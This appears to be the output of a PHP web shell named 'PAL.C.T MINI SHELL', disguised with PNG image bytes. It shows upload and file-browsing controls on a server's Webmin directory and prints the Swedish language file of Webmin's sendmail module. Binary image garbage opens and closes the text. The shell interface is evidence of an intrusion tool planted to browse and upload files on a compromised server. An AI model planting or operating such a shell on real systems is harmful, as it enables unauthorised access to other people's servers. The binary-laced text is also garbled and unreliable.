‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sendmail/lang/
upload
files >> //usr/libexec/webmin/sendmail/lang/sv

index_title=InstÀllningar för sendmail
index_econfig=InstÀllningsfilen $1 för sendmail finns inte. Dina <a href='$2'>modulinstÀllningar</a> kanske Àr felaktiga.
index_eversion=Din instÀllningsfil för sendmail verkar inte höra till den senaste sendmail-versionen. Webmin stödjer endast version 8.8 och högre.
index_epath=Den exekverbara sendmail-filen $1 finns inte pÄ ditt system. Dina <a href='$2'>modulinstÀllningar</a> kanske Àr felaktiga eller ocksÄ har sendmail inte installerats.
index_return=instÀllningar för sendmail
index_stop=Stanna sendmail
index_stopmsg=Tryck pÄ denna knapp för att stanna den körande sendmail-processen. Detta gör sÄ att ingen e-post frÄn andra system delas ut till lokala anvÀndare och hindrar klienter som anvÀnder detta system som e-postserver att skicka e-post.
index_start=Starta sendmail
index_startmsg=Tryck pÄ denna knapp för att starta sendmail med kommando $1. Innan sendmail startats delas ingen e-post frÄn andra system ut till lokala anvÀndare, och e-postklienter kan inte anvÀnda detta system som e-postserver.

opts_title=InstÀllningar för sendmail
opts_ecannot=Du fÄr inte Àndra sendmail-instÀllningarna
opts_ds=Skicka utgÄende e-post via dator
opts_direct=Dela ut direkt
opts_dr=Skicka e-post till okÀnda anvÀndare vidare till dator
opts_dh=Skicka e-post till lokala anvÀndare vidare till dator
opts_local=Dela ut lokalt
opts_queuela=Maximal genomsnittlig last för sÀndning
opts_refusela=Maximal genomsnittlig last för mottagning
opts_maxch=Maximalt antal underprocesser
opts_throttle=Maximalt antal uppkopplingar/sekund
opts_minqueueage=Minsta vÀntetid före ÄterutsÀndningsförsök
opts_runsize=Maximal köstorlek
opts_queuereturn=Tid tills servern ska sluta försöka
opts_queuewarn=Tid tills varning skickas
opts_queue=Katalog för e-postkö
opts_postmaster=Skicka felmeddelanden till
opts_forward=AnvÀndarnas forward-filer
opts_minfree=Nedre grÀns för ledigt diskutrymme
opts_maxmessage=Maximal brevstorlek
opts_loglevel=LoggnivÄ
opts_mimebounce=MIME-koda studsade brev?
opts_default=Standard
opts_save=Spara och genomför
opts_err=Det gick inte att spara instÀllningarna
opts_ehost='$1' Àr inte ett giltigt dator- eller domÀnnamn
opts_einvalid='$1' Àr inte ett giltigt vÀrde för '$2'
opts_blame=InstÀllningar för filskydd
opts_selected=Valda ...
opts_blocks=blocks
opts_bytes=bytes
opts_dmode=SĂ€ndningsmod
opts_background=Bakgrunden
opts_queue-only=köa endast
opts_interactive=Interaktiva
opts_deferred=Försenade

aliases_title=E-postalias
aliases_ecannot=Du fÄr inte Àndra alias
aliases_addr=Adress
aliases_to=Alias för ...
aliases_type1=Adress $1
aliases_type2=Adresser i fil $1
aliases_type3=Fil $1
aliases_type4=Program $1
aliases_type5=Automatsvarsfil $1
aliases_none=Inga
aliases_return=aliaslista

aform_type0=Inget
aform_type1=E-postadress
aform_type2=Adresser i fil
aform_type3=Skriv till fil
aform_type4=Skicka till program
aform_type5=Automatsvar frÄn fil
aform_edit=Ändra alias
aform_create=Skapa alias
aform_name=Adress
aform_enabled=Aktiverat?
aform_val=Alias för
aform_afile=Ändra ...
aform_return=alias

afile_title=Ändra adressfil
afile_desc=AnvÀnd inmatningsrutan nedan för att Àndra adresserna i filen $1
afile_efile=Du fÄr inte Àndra $1
afile_undo=Ångra Ă€ndringar

rfile_title=Ändra filen för automatsvar
rfile_desc=AnvÀnd inmatningsrutan nedan för att Àndra automatsvarsmeddelandet i $1. Meddelandet fÄr innehÄlla följande makron: $SUBJECT, $FROM, $TO, $DATE och $BODY. Dessa kommer att expanderas dÄ automatsvaret aktiveras.
rfile_efile=Du fÄr inte Àndra $1.
rfile_undo=Ångra Ă€ndringar

asave_err=Det gick inte att spara alias
asave_ecannot2=Du fÄr inte Àndra alias
asave_ecannot=Du fÄr inte Àndra detta alias
asave_emax=Du fÄr inte skapa fler Àn $1 alias
asave_eaddr='$1' Àr inte en giltig adress
asave_ealready=Det finns redan ett alias för '$1'
asave_ematch=Du fÄr bara skapa alias som stÀmmer överens med '$1'
asave_etype=Du fÄr inte skapa alias av denna typ
asave_etype1='$1' Àr inte en giltig e-postadress
asave_etype2=Adressfilen '$1' Àr inte giltig eller finns inte
asave_etype3='$1' Àr inte ett giltigt filnamn
asave_etype4='$1' Àr inte ett giltigt program eller finns inte
asave_etype5=Automatsvarsfilen '$1' Àr inte giltig eller finns inte
asave_etype4none=Du har inte angivit nÄgot program

cws_title=Lokala domÀner
cws_ecannot=Du fÄr inte Àndra lokala domÀner
cws_domains=DomÀner som administreras av denna server
cws_desc1=Bortsett frÄn e-post till $1 accepterar sendmail för lokal utdelning endast e-post till datorer och domÀner som rÀknats upp i textrutan till vÀnster. Om du vill att din e-postserver ska hantera flera e-postdomÀner mÄste alla dessa rÀknas upp i denna ruta.
cws_desc2=Observera att det normalt inte rÀcker med att ta med en domÀn i listan. Du mÄste ocksÄ skapa en DNS-post för domÀnen, som pekar pÄ ditt system.
cws_err=Det gick inte att spara lokala domÀner
cws_ehost='$1' Àr inte ett giltigt dator- eller domÀnnamn
cws_eip='$1' Àr en IP-adress, inte en domÀn

masq_title=Maskering av domÀner
masq_ecannot=Du fÄr inte konfigurera maskeringen
masq_domain=Maskera som domÀn
masq_domains=DomÀner som ska maskeras
masq_desc1=Om du har angivit en domÀn högst upp kommer sendmail att göra sÄ att <tt>From</tt>-adressen för all utgÄende e-post ser ut att finnas i denna domÀn. Dessutom kommer alla e-postbrev som passerar ditt system frÄn nÄgon dator eller domÀn i listan till vÀnster ocksÄ att fÄ sina <tt>From</tt>-adresser Àndrade pÄ detta vis. Observera att anvÀndare kan gÄ runt domÀnmaskeringen som definieras hÀr genom att anvÀnda <a href='$1'>UtgÄende adresser</a>-sidan.
masq_desc2=Detta tillval kan vara anvÀndbart om du vill att e-post frÄn ditt system ska se ut att komma frÄn domÀnen istÀllet för frÄn en enskild dator, eller om ditt system Àr e-postserver för datorer som kör sina egna e-postservrar.
masq_err=Det gick inte att spara maskering av domÀner
masq_edomain='$1' Àr inte en giltig domÀn att maskera som
masq_ehost='$1' Àr inte ett giltigt dator- eller domÀnnamn
masq_eip='$1' Àr en IP-adress, inte en domÀn

trusts_title=Betrodda anvÀndare
trusts_ecannot=Du fÄr inte Àndra betrodda anvÀndare
trusts_users=Lokala anvÀndare som sendmail litar pÄ
trusts_desc=Om en lokal anvÀndare försöker skicka e-post, kommer sendmail endast att tillÄta anvÀndaren att Àndra <tt>From:</tt>-adressen om han/hon finns pÄ listan till vÀnster. Denna restriktion finns för att förhindra att anvÀndare skickar e-post med falska avsÀndaradresser frÄn ditt system.
trusts_err=Det gick inte att spara betrodda anvÀndare
trusts_euser='$1' Àr inte en giltig anvÀndare

virtusers_title=Adressomskrivningar
virtusers_ecannot=Du fÄr inte Àndra adressomskrivningar
virtusers_efile=Textfilen $1 som adressomskrivningsdatabasen $2 byggs upp frÄn finns inte. Du kanske behöver Àndra i <a href='$3'>modulinstÀllningarna</a> sÄ att rÀtt sökvÀg anvÀnds.
virtusers_desc1=Adressomskrivningar liknar <a href='$1'>alias</a>, men Àr bÀttre anpassade till ett system som hanterar flera e-postdomÀner. De kan anvÀndas för att dirigera om e-post för en hel domÀn till en adress, hantera anvÀndare med samma namn i skilda domÀner och skicka vidare all e-post frÄn en domÀn till en annan.
virtusers_desc2=Observera att du mÄste ha lagt till en post i tabellen över <a href='$1'>lokala domÀner</a> för att domÀnen ska kunna anvÀndas för adressomskrivning. Dessutom mÄste det finnas en DNS-MX-post för varje domÀn som pekar pÄ ditt system.
virtusers_for=E-post till ...
virtusers_to=Skicka till ...
virtusers_error=Fel $1
virtusers_domain=DomÀn $1
virtusers_address=Adress $1
virtusers_return=adressomskrivningslista

vform_edit=Ändra adressomskrivning
vform_create=LĂ€gg till adressomskrivning
vform_for=E-post till
vform_address=Adress
vform_domain=DomÀn
vform_to=Skicka till
vform_msg=meddelande
vform_error=Skicka felmeddelande
vform_err_nouser=ingen anvÀndare
vform_err_nohost=ingen dator
vform_end=GĂ„ till slutet
vform_ecannot=Du fÄr inte Àndra denna adressomskrivning

vsave_ecannot=Du fÄr inte Àndra adressomskrivningar
vsave_ecannot2=Du fÄr inte Àndra denna adressomskrivning
vsave_emax=Du fÄr inte lÀgga upp mer Àn $1 adressomskrivningar
vsave_err=Det gick inte att spara adressomskrivningen
vsave_efrom='$1' Àr inte en giltig adress
vsave_efromdup=Det finns redan en adressomskrivning för '$1'
vsave_edom='$1' Àr inte en giltig domÀn
vsave_edomdup=Det finns redan en adressomskrivning för '$1'
vsave_ematch=Ursprungsadressen stÀmmer inte med '$1'
vsave_ecannot3=Du fÄr inte lÀgga upp omskrivningar till adresser
vsave_eaddr='$1' Àr inte en giltig adress
vsave_ecannot4=Du fÄr inte lÀgga upp omskrivningar till domÀner
vsave_edomdom=Du kan bara skriva om en domÀn till en annan domÀn
vsave_ecannot5=Du fÄr inte lÀgga upp omskrivningar som ger fel

mailers_title=DomÀnrouting
mailers_cannot=Du fÄr inte Àndra domÀnroutingen
mailers_edirective=Din instÀllningsfil för sendmail innehÄller inte nödvÀndigt direktiv för domÀnrouting.
mailers_efile=Textfilen $1 som domÀnroutingdatabasen $2 byggs upp frÄn finns inte. Du kanske behöver Àndra dina <a href='$3'>modulinstÀllningar</a> sÄ att rÀtt sökvÀg anvÀnds.
mailers_desc1=DomÀnrouting Àr ett sÀtt att definiera en speciell överföringsmetod för e-post till vissa domÀner. Detta Àr anvÀndbart om ditt system Àr gateway för e-postservrar som inte kan nÄs utifrÄn eller om du vill routa all e-post frÄn en domÀn genom en annan server.
mailers_desc2=Det bör <b>inte</b> finnas nÄgon post i listan över <a href='$1'>lokala domÀner</a> för de routade domÀnerna. DÀremot bör det finnas en DNS-MX-post som pekar pÄ ditt system för varje domÀn som systemet agerar gateway för.
mailers_for=E-post till ...
mailers_delivery=Befordran
mailers_to=Skicka till ...
mailers_return=domÀnroutinglista

mform_edit=Ändra routing
mform_create=LĂ€gg till routing
mform_for=E-post till
mform_delivery=Befordran
mform_to=Skicka till
mform_ignore=Ignorera MX för SMTP-befordran
mform_smtp=SMTP
mform_esmtp=Utökad SMTP
mform_smtp8=8-bitars-SMTP
mform_relay=SMTP-relÀ
mform_local=Lokal anvÀndare
mform_prog=Skicka till program
mform_uucp=UUCp
mform_usenet=Posta till USENET
mform_fax=HylaFAX
mform_pop=POP3
mform_procmail=Procmail
mform_mail11=DECnet mail11
mform_error=Fel
mform_ecannot=Du fÄr inte Àndra domÀnrouting

msave_ecannot=Du fÄr inte Àndra domÀnrouting
msave_err=Det gick inte att spara domÀnrouting
msave_edomain='$1' Àr inte en giltig dator eller domÀn
msave_edup=Det finns redan en domÀnrouting för '$1'

generics_title=UtgÄende adresser
generics_cannot=Du fÄr inte Àndra utgÄende adresser
generics_econfig=Din instÀllningsfil för sendmail innehÄller inte nödvÀndigt direktiv för omskrivning av utgÄende adresser.
generics_efile=Textfilen $1 som databasen $2 för utgÄende adresser byggs upp frÄn finns inte. Du kanske behöver Àndra dina <a href='$3'>modulinstÀllningar</a> sÄ att rÀtt sökvÀg anvÀnds.
generics_desc1=Omskrivning av utgÄende adresser gör att du kan Àndra <tt>From:</tt>-adresser pÄ e-postbrev som skickas frÄn ditt system eller skickas via ditt system frÄn andra datorer pÄ det lokala nÀtverket. Detta Àr anvÀndbart om systemet hyser flera domÀner och du vill att e-post frÄn vissa anvÀndare ska se ut att komma frÄn en annan domÀn.
generics_desc2=Observera att det mÄste finnas en post i tabellen för<a href='$1'>utgÄende domÀner</a> för varje domÀn med adresser som du vill ha utgÄende adressomskrivning för. Observera ocksÄ att adressomskrivningen inte fungerar för e-postbrev till lokala anvÀndare.
generics_from=E-post frÄn ...
generics_to=Ändra till ...
generics_return=adressomskrivningslista

gform_edit=Ändra adressomskrivning
gform_create=LĂ€gg till adressomskrivning
gform_from=E-post frÄn
gform_to=Ändra till
gform_ecannot=Du fÄr inte Àndra denna utgÄende adress

gsave_ecannot=Du fÄr inte Àndra utgÄende adresser
gsave_ecannot2=Du fÄr inte Àndra denna utgÄende adress
gsave_err=Det gick inte att spara utgÄende adresser
gsave_efrom='$1' Àr inte en giltig avsÀndaradress
gsave_ematch=AvsÀndaradressen stÀmmer inte med '$1'
gsave_eto='$1' Àr inte en giltig ny adress

cgs_title=UtgÄende domÀner
cgs_ecannot=Du fÄr inte Àndra utgÄende domÀner
cgs_header=UtgÄende adressdomÀner
cgs_desc=Bortsett frÄn e-post som skickas av lokala anvÀndare kommer sendmail endast att utföra omskrivning av <a href='$1'>utgÄende adresser</a> för e-post frÄn datorer och domÀner som angivit i textrutan till höger. För att en omskrivning för en utgÄende adress ska fungera mÄste alltsÄ domÀnen i avsÀndaradressen finnas i denna lista.
cgs_err=Det gick inte att spara utgÄende domÀner
cgs_ehost='$1' Àr inte ett giltigt dator- eller domÀnnamn
cgs_eip='$1' Àr en IP-adress, inte en domÀn

domains_title=DomÀnomskrivning
domains_ecannot=Du fÄr inte Àndra domÀnomskrivningar
domains_econfig=Din instÀllningsfil för sendmail innehÄller inte nödvÀndigt direktiv för domÀnomskrivning.
domains_efile=Textfilen $1 som databasen $2 för domÀnomskrivningar byggs upp frÄn finns inte. Du kanske behöver Àndra dina <a href='$3'>modulinstÀllningar</a> sÄ att rÀtt sökvÀg anvÀnds.
domains_desc=DomÀnomskrivningar Àndrar <tt>To:</tt>-adressen för e-post skickad frÄn, genom eller till ditt system.<tt>From:</tt>adressen för relÀade e-postbrev och brev till lokala anvÀndare Àndras ocksÄ. Detta Àr anvÀndbart om du byter domÀnnamn och vill Àndra alla förekomster av det gamla namnet till det nya.
domains_from=FrÄn domÀn ...
domains_to=Till domÀn ...
domains_return=domÀnomskrivningslista

dform_edit=Ändra omskrivning
dform_create=LĂ€gg till omskrivning
dform_from=FrÄn domÀn
dform_to=Till domÀn
dform_ecannot=Du fÄr inte Àndra domÀnomskrivningar

dsave_ecannot=Du fÄr inte Àndra domÀnomskrivningar
dsave_err=Det gick inte att spara domÀnomskrivningar
dsave_edomain='$1' Àr inte ett giltigt domÀnnamn

access_title=Spam-kontroll
access_ecannot=Du fÄr inte konfigurera spam-kontrollen
access_efile=Textfilen $1 som databasen $2 för spam-kontroll byggs upp frÄn finns inte. Du kanske behöver Àndra dina <a href='$3'>modulinstÀllningar</a> sÄ att rÀtt sökvÀg anvÀnds.
access_desc1=Sendmails spam-kontroll gör att dina anvÀndare kan slippa spam genom att e-post frÄn vissa adresser kastas. Kontrollen kan ocksÄ anvÀndas för att hindra spammare att anvÀnda ditt system för att skicka ut e-post. StandardinstÀllningen Àr att sendmail accepterar e-post frÄn alla adresser till lokala anvÀndare, men att den inte skickar vidare e-post frÄn en annan e-postserver. Vanligtvis mÄste du alltsÄ sjÀlv lÀgga till regler för att kasta e-post frÄn spammare och för att tillÄta andra e-postservrar att skicka e-post via ditt system.
access_desc2=Observera att sendmail som standard tillÄter e-postklienter pÄ ditt system att skicka vidare e-post via SMTP vart som helst. Detta innebÀr att du inte behöver lÀgga till det lokala nÀtverket <tt>127.0.0</tt> till listan över nÀtverk som fÄr skicka post genom systemet.
access_source=Ursprung ...
access_action=ÅtgĂ€rd ...
access_return=spam-kontrollista
sform_edit=Ändra spam-regel
sform_create=LĂ€gg till spam-regel
sform_source=E-postursprung
sform_type0=E-postadress
sform_type1=NĂ€tverk
sform_type2=AnvÀndare
sform_type3=DomÀn
sform_action=ÅtgĂ€rd
sform_ok=Acceptera
sform_relay=TillÄt relÀande
sform_reject=Kasta
sform_discard=Kasta utan felmeddelande
sform_err=Felkod
sform_msg=Meddelande
sform_ecannot=Du fÄr inte Àndra spam-kontrollen

ssave_err=Det gick inte att spara spam-regeln
ssave_etype0='$1' Àr inte en giltig adress
ssave_etype1='$1' Àr inte en giltig nÀtverksadress
ssave_etype2='$1' Àr inte ett giltigt anvÀndarnamn
ssave_etype3='$1' Àr inte en giltig domÀn
ssave_ecode='$1' Àr inte en giltig SMTP-felkod

relay_title=RelÀa domÀner
relay_ecannot=Du fÄr inte Àndra relÀade domÀner
relay_eversion=Endast sendmail version 8.9 och högre stödjer relÀade domÀner.
relay_domains=DomÀner tillÄtna att relÀa till
relay_desc1=Sendmail relÀar endast till domÀner som tillÄts via <a href='$1'>spam-reglerna</a> och domÀner som angivits i textrutan till vÀnster. Inkommande e-post som inte ska till nÄgon lokal anvÀndare eller nÄgon hÀr angiven domÀn kommer att kastas.
relay_desc2=Om ditt system agerar gateway för andra domÀner som inte Àr direkt tillgÀngliga frÄn utsidan av ditt nÀtverk (med hjÀlp av <a href='$1'>domÀnrouting</a>), mÄste alla dessa domÀner anges hÀr.
relay_err=Det gick inte att spara relÀade domÀner
relay_edomain='$1' Àr inte ett giltigt domÀnnamn

mailq_title=E-postkö
mailq_ecannot=Du fÄr inte titta pÄ e-postkön
mailq_id=E-post-ID
mailq_sent=SĂ€nt
mailq_from=FrÄn
mailq_to=Till
mailq_size=Storlek
mailq_status=Status
mailq_unknown=OkÀnd
mailq_sending=Skickar
mailq_dmsg=Klicka pÄ ett ID i ovanstÄende lista för att fÄ upp brevet frÄn e-postkön.
mailq_force=<a href='$1'>Tryck hÀr</a> för att omedelbart skicka köad e-post.
mailq_none=E-postkön Àr tom.
mailq_delete=Ta bort de valda meddelandena
mailq_return=e-postkö

flushq_title=Skicka köade brev
flushq_desc=Försöker skicka köad e-post nu med kommando $1 ...

delq_err=Det gick inte att ta bort brevet
delq_ecannot=Du fÄr inte ta bort brevet
delq_locked=Filen Àr för tillfÀllet lÄst eftersom brev skickas
delq_enone=Du har inte valt nÄgot brev som ska tas bort
delq_file=Tar bort brevfil file $1 ...
delq_efile=ogiltigt filnamn!
delq_egone=redan borttaget eller skickat
delq_elocked=lÄst eftersom brev skickas
delq_ok=klart
delq_title=Tar bort brev

boxes_title=AnvÀndarnas brevlÄdor
boxes_user=AnvÀndare
boxes_size=Storlek pÄ brevlÄda
boxes_none=Inga brev
boxes_return=brevlÄdor
boxes_ecannot=Du fÄr inte lÀsa e-post

mail_title=AnvÀndar-e-post
mail_from=FrÄn
mail_date=Datum
mail_subject=Ärende
mail_to=Till
mail_cc=Kopia till
mail_bcc=Osynlig kopia till
mail_pri=Prioritet
mail_highest=Högsta
mail_high=Hög
mail_normal=Normal
mail_low=LÄg
mail_lowest=LĂ€gsta
mail_for=I $1
mail_size=Storlek
mail_delete=Radera angivna brev
mail_compose=Skriv nytt brev
mail_return=anvÀndarpost
mail_pos=Brev $1 till $2 i $3
mail_none=Denna brevlÄda Àr tom
mail_ecannot=Du fÄr inte lÀsa e-post till denna anvÀndare
mail_all=VĂ€lj allt
mail_invert=VĂ€lj allt utom redan valt
mail_search=Sök meddelanden dÀr
mail_body=Brevkroppen
mail_match=innehÄller
mail_ok=Sök
mail_nonefrom=Ingen

view_title=LĂ€s e-post
view_desc=Brev $1 i $2
view_qdesc=Köad e-post $1
view_headers=Rubriker
view_attach=Bilagor
view_reply=Svara
view_reply2=Svara till alla
view_forward=Skicka vidare
view_delete=Radera
view_ecannot=Du fÄr inte lÀsa e-post till denna anvÀndare

compose_title=Skriv brev
reply_title=Svara pÄ brev
forward_title=Skicka vidare brev
reply_headers=Rubriker
reply_attach=VidaresÀnda bilagor
reply_attach2=Bilagor
reply_send=Skicka
reply_ecannot=Du fÄr inte skicka e-post som denna anvÀndare

send_err=Det gick inte att skicka brevet
send_eto=Mottagaradress saknas
send_efrom=AvsÀndaradress saknas
send_title=Skickat brev
send_ok=Brevet skickat till $1
send_ecannot=Du fÄr inte skicka e-post som denna anvÀndare
send_esmtp=SMTP-kommando $1 misslyckades: $2
send_efile=Den bifogade filen $1 finns inte
send_eattach=Den sammanlagda storleken pÄ bilagorna fÄr inte vara större Àn $1 kB
send_eperms=AnvÀndare $1 kan inte lÀsa $2
send_eperms2=Du fÄr inte skicka filen $1

delete_ecannot=Du fÄr inte radera e-post frÄn denna anvÀndare
delete_enone=Du har inte angivit vilket meddelande som ska tas bort

search_title=Sökresultat
search_ecannot=Du fÄr inte söka i denna anvÀndares e-post
search_ematch=Du mÄste ange en text som brevet ska innehÄlla
search_none=Inget brev passade in pÄ angivna villkor

file_title=Ändra Sendmail-filen
file_desc=AnvÀnd inmatningsrutan nedan för att manuellt Àndra i Sendmail-filen $1
file_undo=Ångra Ă€ndringar
file_edit=Ändra $1 manuellt
file_ealiases=Du kan bara Àndra en alias-fil om du har tillgÄng till alla alias.
file_evirtusers=Du kan bara Àndra adressöversÀttningsfilen om du har tillgÄng till alla adressöversÀttningar. 
file_emailers=Du fÄr inte Àndra domÀnroutingsfilen.
file_egenerics=Du fÄr bara Àndra filen för utgÄende adresser om du har tillgÄng till alla utgÄende adresser.
file_edomains=Du fÄr inte Àndra domÀnöversÀttningsfilen. 
file_eaccess=Du fÄr inte Àndra spam-kontrollfilen. 
file_emode=OkÀnd mode!
file_err=Det gick inte att Àndra filen

acl_opts=Kunna Àndra sendmail-instÀllningar?
acl_cws=Kunna Àndra lokala domÀner?
acl_masq=Kunna konfigurera maskering av domÀner?
acl_trusts=Kunna Àndra betrodda anvÀndare?
acl_cgs=Kunna Àndra utgÄende domÀner?
acl_relay=Kunna Àndra relÀade domÀner?
acl_mailers=Kunna konfigurera domÀnrouting?
acl_access=Kunna konfigurera spam-kontroll?
acl_domains=Kunna konfigurera domÀnomskrivning?
acl_stop=Kunna starta och stanna sendmail?
acl_mailq=Kunna göra ingrepp i e-postkön?
acl_viewdel=Granska och radera
acl_view=Endast granska
acl_virtusers=Adressomskrivningar som denna anvÀndare fÄr Àndra
acl_none=Inga
acl_same=AnvÀndare med samma namn
acl_all=Alla
acl_matching=Som stÀmmer med
acl_vtypes=Adressomskrivningstyper som denna anvÀndare fÄr Àndra
acl_vtype0=Ge fel
acl_vtype1=Till domÀn
acl_vtype2=Till adress
acl_vmax=Maximalt antal adressomskrivningar
acl_unlimited=ObegrÀnsat
acl_aliases=Alias som denna anvÀndare fÄr Àndra
acl_atypes=Aliastyper som denna anvÀndare fÄr Àndra
acl_atype1=E-postadress
acl_atype2=Adresser i fil
acl_atype3=Skriv till fil
acl_atype4=Skicka till program
acl_atype5=Automatsvar
acl_amax=Maximalt antal alias
acl_outgoing=UtgÄende adresser som denna anvÀndare fÄr Àndra
acl_read=AnvÀndare vars e-post fÄr lÀsas
acl_users=Endast anvÀndare
acl_userse=Alla utom anvÀndare
acl_usersg=Medlemmar i grupp
acl_from=TillÄtna avsÀndaradresser
acl_any=Alla
acl_fdoms=brevlÄda@domÀner
acl_faddrs=Angivna adresser
acl_fdom=valfri adress@domÀn
acl_apath=BegrÀnsa filer och program till katalog
acl_attach=Maximal sammanlagd storlek pÄ bilagor 

log_opts=Ändrade sendmail-instĂ€llningar
log_alias_create=Lade till alias $1
log_alias_modify=Modifierade alias $1
log_alias_delete=Tog bort alias $1
log_alias_manual=Ändrade aliasfilen $1 för hand
log_cws=Ändrade lokala domĂ€ner
log_masq=Ändrade domĂ€nmaskering
log_trusts=Ändrade betrodda anvĂ€ndare
log_virtuser_create=Lade till adressomskrivning $1
log_virtuser_modify=Modifierade adressomskrivning $1
log_virtuser_delete=Tog bort adressomskrivning $1
log_virtuser_manual=Ändrade adressomskrivningsfilen $1 för hand
log_mailer_create=Lade till domÀnrouting $1
log_mailer_modify=Modifierade domÀnrouting $1
log_mailer_delete=Tog bort domÀnrouting $1
log_mailer_manual=Ändrade domĂ€nroutingfilen $1 för hand
log_generic_create=Lade till utgÄende adress $1
log_generic_modify=Modifierade utgÄende adress $1
log_generic_delete=Tog bort utgÄende adress $1
log_generic_manual=Ändrade filen $1 med utgĂ„ende adresser för hand
log_cgs=Ändrade utgĂ„ende domĂ€ner
log_domain_create=Lade till domÀnomskrivning $1
log_domain_modify=Modifierade domÀnomskrivning $1
log_domain_delete=Tog bort domÀnomskrivning $1
log_domain_manual=Ändrade domĂ€nomskrivningsfilen $1 för hand
log_access_create=Lade till spam-kontroll för $1
log_access_modify=Modifierade spam-kontroll för $1
log_access_delete=Tog bort spam-kontroll för $1

log_access_manual=Ändrade spam-kontrollfilen $1 för hand
log_relay=Ändrade relĂ€ade domĂ€ner
log_flushq=Skickade köade brev
log_delmailq=Tog bort brev frÄn $1 frÄn kön
log_delmailqs=Tog bort $1 brev frÄn kön
log_stop=Stannade sendmail-demonen
log_start=Startade sendmail-demonen
log_delmail=Tog bort $1 brev frÄn $2
log_send=Skickade e-post till $1

match_from=From: matchar
match_subject=Subject: matchar
match_to=To: matchar
match_cc=Cc: matchar
match_date=Date: matchar
match_body=InnehÄllet matchar
match_size=Storleken mer Àn
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚